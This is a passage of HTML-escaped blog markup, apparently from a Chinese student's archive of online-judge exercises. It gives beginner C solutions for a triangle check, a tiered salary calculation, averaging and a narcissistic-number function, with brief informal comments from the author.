class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num, a, b, c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (a = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; a \u0026lt;= \u003cspan class=\"number\"\u003e9\u003c/span\u003e; a++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (b = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; b \u0026lt;= \u003cspan class=\"number\"\u003e9\u003c/span\u003e; b++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (c = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; c \u0026lt;= \u003cspan class=\"number\"\u003e9\u003c/span\u003e; c++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((a + c) * \u003cspan class=\"number\"\u003e100\u003c/span\u003e + b * \u003cspan class=\"number\"\u003e20\u003c/span\u003e + (a + c) == num)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d\\n\u0026#34;\u003c/span\u003e, a, b, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"50-直角三角形判断-分支结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#50-%E7%9B%B4%E8%A7%92%E4%B8%89%E8%A7%92%E5%BD%A2%E5%88%A4%E6%96%AD-%E5%88%86%E6%94%AF%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"50.直角三角形判断_分支结构\"\u003e\u003c/a\u003e50.直角三角形判断_分支结构\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e3\u003c/span\u003e], i, j, tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d\u0026#34;\u003c/span\u003e, \u0026amp;a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], \u0026amp;a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u0026amp;a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a[i] \u0026gt; a[j])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tmp = a[i], a[i] = a[j], a[j] = tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] + a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] \u0026gt; a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e] \u0026amp;\u0026amp; a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] + a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e] \u0026gt; a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] \u0026amp;\u0026amp; a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] + a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e] \u0026gt; a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] * a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] + a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] * a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] == a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e] * a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]*a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;no\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;no\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"51-工资计算-分支结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#51-%E5%B7%A5%E8%B5%84%E8%AE%A1%E7%AE%97-%E5%88%86%E6%94%AF%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"51.工资计算_分支结构\"\u003e\u003c/a\u003e51.工资计算_分支结构\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num \u0026gt; \u003cspan class=\"number\"\u003e3500\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e num -= \u003cspan class=\"number\"\u003e3500\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num \u0026gt; \u003cspan class=\"number\"\u003e35000\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = (num - \u003cspan class=\"number\"\u003e35000\u003c/span\u003e) * \u003cspan class=\"number\"\u003e0.7\u003c/span\u003e + \u003cspan class=\"number\"\u003e26000\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.75\u003c/span\u003e + \u003cspan class=\"number\"\u003e4500\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.8\u003c/span\u003e + \u003cspan class=\"number\"\u003e3000\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.9\u003c/span\u003e + \u003cspan class=\"number\"\u003e1500\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.97\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num \u0026gt; \u003cspan class=\"number\"\u003e9000\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = (num - \u003cspan class=\"number\"\u003e9000\u003c/span\u003e) * \u003cspan class=\"number\"\u003e0.75\u003c/span\u003e + \u003cspan class=\"number\"\u003e4500\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.8\u003c/span\u003e + \u003cspan class=\"number\"\u003e3000\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.9\u003c/span\u003e + \u003cspan class=\"number\"\u003e1500\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.97\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num \u0026gt; \u003cspan class=\"number\"\u003e4500\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = (num - \u003cspan class=\"number\"\u003e4500\u003c/span\u003e) * \u003cspan class=\"number\"\u003e0.8\u003c/span\u003e + \u003cspan class=\"number\"\u003e3000\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.9\u003c/span\u003e + \u003cspan class=\"number\"\u003e1500\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.97\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num \u0026gt; \u003cspan class=\"number\"\u003e1500\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = (num - \u003cspan class=\"number\"\u003e1500\u003c/span\u003e) * \u003cspan class=\"number\"\u003e0.9\u003c/span\u003e + \u003cspan class=\"number\"\u003e1500\u003c/span\u003e * \u003cspan class=\"number\"\u003e0.97\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = num * \u003cspan class=\"number\"\u003e0.97\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res += \u003cspan class=\"number\"\u003e3500\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"52-平均数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#52-%E5%B9%B3%E5%9D%87%E6%95%B0\" class=\"headerlink\" title=\"52.平均数\"\u003e\u003c/a\u003e52.平均数\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, i, num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; a; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res += \u003cspan class=\"number\"\u003e1\u003c/span\u003e / (\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)a * (\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2lf\u0026#34;\u003c/span\u003e, res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003chr/\u003e\u003cp\u003e\u003cem\u003e第五次上机练习题\u003c/em\u003e\u003c/p\u003e\u003cp\u003e\u003cem\u003e难度简单,随便做就行\u003c/em\u003e\u003c/p\u003e\u003cp\u003e\u003cem\u003e服务器卡的让人没心情做。。\u003c/em\u003e\u003c/p\u003e\u003ch2 id=\"53-水仙花数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#53-%E6%B0%B4%E4%BB%99%E8%8A%B1%E6%95%B0\" class=\"headerlink\" title=\"53.水仙花数\"\u003e\u003c/a\u003e53.水仙花数\u003c/h2\u003e\u003cp\u003e水仙花数指\u003cstrong\u003e大于等于三位\u003c/strong\u003e的数,如果\u003cstrong\u003e各位的位数次幂的和等于自身\u003c/strong\u003e,则称为水仙花数。\u003c/p\u003e\u003cp\u003e要求交一个函数。。就,稍微有点麻烦。本来想用函数中声明函数的奇淫技巧,但是这样就没意思了,所以还是算了。。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efunction\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* tmp :临时变量,用于交换a,b的值 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e i :计数变量,用于表示a到b(含a,b)之间的所有数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 